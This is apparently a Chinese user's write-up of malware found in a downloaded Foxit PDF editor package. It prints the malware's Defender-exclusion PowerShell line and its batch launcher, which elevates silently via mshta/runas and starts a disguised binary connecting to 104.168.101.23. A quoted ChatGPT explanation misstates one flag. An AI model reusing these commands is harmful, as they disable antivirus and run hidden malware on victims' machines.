之前下载过福晰pdf编辑器,使用正常。
某天发现机器启动后,过个几分钟(具体为5min)会自动运行几个 cmd 脚本(一闪而过),但是打开任务管理器没有发现异常程序(后面发现病毒程序伪装成System系统程序,见下图)。这个病毒程序会自动连接位于美国的一个ip地址:104.168.101.23
仔细看程序图标还是可以发现和真正的Windows System图标不一样的,如图:
大家能猜到哪个是假的吗?
病毒的初始化脚本可参考这边博文:记录一次病毒启动脚本-CSDN博客
病毒目录中有两个脚本文件,一个可执行程序,和一个WinRing0x64.sys驱动文件:
add.ps1
CrashReporting.bat
Foxit_license.exe
WinRing0x64.sys
其中 add.ps1是屏蔽微软杀毒软件 defender:
Add-MpPreference -ExclusionPath ($pwd).Path
另外一个启动脚本CrashReporting.bat是病毒启动程序:
@echo off
PUSHD %~DP0 & cd /d "%~dp0"
%1 %2
mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof
:target
taskkill /f /t /im Foxit_license.exe >nul 2>nul
Foxit_license.exe -o 104.168.101.23:34512 -t 1 -B -k
ChatGPT 对其解释如下:
这段代码是一个 Windows 批处理脚本,下面是对其各个部分的解释:
@echo off: 这个命令用于关闭命令行窗口中的命令回显,使得执行时不显示每个命令的内容。
PUSHD %~DP0 & cd /d "%~dp0":
PUSHD %~DP0:将当前目录更改为脚本所在的目录。%~DP0 表示当前批处理文件的驱动器和路径。
cd /d "%~dp0":确保切换到该目录(如果当前目录不同于脚本所在目录)。
%1 %2: 这表示执行传递给脚本的第一个和第二个参数。这些参数是在调用这个批处理文件时提供的。
mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof:
此命令使用 mshta 来运行 VBScript,创建一个 Shell 应用程序对象并执行当前脚本(%~s0)。
"goto :target" 是要执行的命令,"runas" 表示以管理员权限运行。
window.close 会在执行后关闭窗口。
&goto :eof 确保脚本在此处结束,不继续执行后面的代码。
:target: 这是一个标签,后面的代码将在跳转到此标签时执行。
taskkill /f /t /im Foxit_license.exe >nul 2>nul:
这条命令强制终止名为 Foxit_license.exe 的进程,/f 表示强制终止,/t 表示终止该进程及其子进程。
>nul 2>nul 用于将输出和错误信息重定向到空设备,即不显示任何输出。
Foxit_license.exe -o 104.168.101.23:34512 -t 8 -B -k:
这条命令启动 Foxit_license.exe,并传递一系列参数:
-o 104.168.101.23:34512:指定一个地址和端口。
-t 8:可能是一个线程或超时设置(具体取决于程序的实现)。
-B 和 -k:这些参数的具体含义取决于 Foxit_license.exe 的实现。
总结:这个批处理脚本的主要功能是切换到脚本所在目录,执行传递的参数,然后以管理员权限终止 Foxit_license.exe 进程,并重新启动它,带有特定的参数。
病毒运行流程:
通过启动脚本修改注册表,将所有安全设置关闭,检查并配置好病毒程序运行参数,启动延时任务来偷偷触发程序执行。
病毒伪装得很好,各种小技巧都用到了,例如在注册表中将病毒程序 Foxit_license.exe 改名成 System: